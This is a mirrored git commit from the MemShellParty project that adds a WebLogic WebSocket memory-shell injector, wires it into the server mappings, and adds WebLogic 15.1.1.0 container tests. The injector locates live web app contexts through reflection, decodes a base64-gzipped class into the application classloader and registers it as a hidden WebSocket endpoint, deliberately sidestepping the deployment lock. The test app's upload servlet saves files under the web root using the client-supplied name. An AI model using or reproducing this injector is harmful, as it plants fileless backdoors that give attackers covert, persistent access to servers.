mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support weblogic websocket and weblogic 15.1.1.0
This commit is contained in:
+267
@@ -0,0 +1,267 @@
|
||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
|
||||
import javax.management.MBeanServer;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicWebSocketInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebLogicWebSocketInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* weblogic.servlet.internal.WebAppServletContext
|
||||
*/
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Set<Object> getContext() throws Exception {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||
String key = entry.getKey();
|
||||
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||
Object value = entry.getValue();
|
||||
Object managedResource = getFieldValue(value, "managedResource");
|
||||
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||
}
|
||||
}
|
||||
}
|
||||
try {
|
||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||
Object request = null;
|
||||
try {
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
request = getFieldValue(connectionHandler, "request");
|
||||
} catch (Exception x) {
|
||||
// WebLogic 10.3.6
|
||||
request = workEntry;
|
||||
}
|
||||
if (request != null) {
|
||||
webappContexts.add(getFieldValue(request, "context"));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
|
||||
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||
}
|
||||
if (container == null) {
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverEndpointConfigClass;
|
||||
Class<?> builderClass;
|
||||
try {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||
}
|
||||
|
||||
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
|
||||
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
|
||||
Object endpointConfig = invokeMethod(builder, "build", null, null);
|
||||
|
||||
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
|
||||
// register() bypasses this post-deployment lock and works on a live WebLogic server.
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
try {
|
||||
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest {
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
@Testcontainers
|
||||
public class WebLogic15110ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
||||
"reajason/weblogic:15.1.1.0-jdk21",
|
||||
"/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.warFile(ContainerTool.warJakartaFile)
|
||||
.jakarta(true)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,8 @@ dependencies {
|
||||
implementation("commons-fileupload:commons-fileupload:1.5")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0")
|
||||
providedCompile("jakarta.websocket:jakarta.websocket-api:2.2.0")
|
||||
providedCompile(libs.jakarta.websocket.client.api)
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
import jakarta.websocket.*;
|
||||
import jakarta.websocket.server.ServerEndpoint;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
@ServerEndpoint("/ws/demo")
|
||||
public class EmptyWebSocketEndpoint {
|
||||
|
||||
private static final Logger logger = Logger.getLogger(EmptyWebSocketEndpoint.class.getName());
|
||||
|
||||
@OnOpen
|
||||
public void onOpen(Session session) {
|
||||
logger.info("New connection established: " + session.getId());
|
||||
try {
|
||||
// 向客户端发送欢迎消息
|
||||
session.getBasicRemote().sendText("Connected successfully! Session ID: " + session.getId());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@OnMessage
|
||||
public void onMessage(String message, Session session) {
|
||||
logger.info("Received message from " + session.getId() + ": " + message);
|
||||
try {
|
||||
session.getBasicRemote().sendText("Server Echo: " + message);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@OnClose
|
||||
public void onClose(Session session, CloseReason closeReason) {
|
||||
logger.info("Session closed: " + session.getId() + ", Reason: " + closeReason.getReasonPhrase());
|
||||
}
|
||||
|
||||
@OnError
|
||||
public void onError(Session session, Throwable throwable) {
|
||||
logger.severe("Error on session " + (session != null ? session.getId() : "null") + ": " + throwable.getMessage());
|
||||
}
|
||||
}
|
||||
@@ -28,7 +28,19 @@ public class UploadServlet extends HttpServlet {
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
Part file = request.getPart("file");
|
||||
String fileName = getFileName(file);
|
||||
String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + File.separator + fileName;
|
||||
String uploadFolder = getServletContext().getRealPath(UPLOAD_DIRECTORY);
|
||||
if (uploadFolder == null) {
|
||||
// weblogic
|
||||
File tempDir = (File) getServletContext().getAttribute("jakarta.servlet.context.tempdir");
|
||||
if (tempDir == null) {
|
||||
tempDir = (File) getServletContext().getAttribute("javax.servlet.context.tempdir");
|
||||
}
|
||||
uploadFolder = tempDir.getParent() + File.separator + "war";
|
||||
}
|
||||
if (!uploadFolder.endsWith(File.separator)) {
|
||||
uploadFolder += File.separator;
|
||||
}
|
||||
String uploadPath = uploadFolder + fileName;
|
||||
InputStream inputStream = file.getInputStream();
|
||||
File uploadFile = new File(uploadPath);
|
||||
IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath()));
|
||||
|
||||
@@ -13,7 +13,7 @@ java {
|
||||
dependencies {
|
||||
implementation("commons-fileupload:commons-fileupload:1.3.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
implementation("javax.websocket:javax.websocket-api:1.1")
|
||||
providedCompile("javax.websocket:javax.websocket-api:1.1")
|
||||
providedCompile("javax.servlet:servlet-api:2.5")
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee"
|
||||
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
|
||||
id="WebApp_ID" version="2.5">
|
||||
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
|
||||
id="WebApp_ID" version="3.0">
|
||||
<welcome-file-list>
|
||||
<welcome-file>index.html</welcome-file>
|
||||
</welcome-file-list>
|
||||
|
||||
Reference in New Issue
Block a user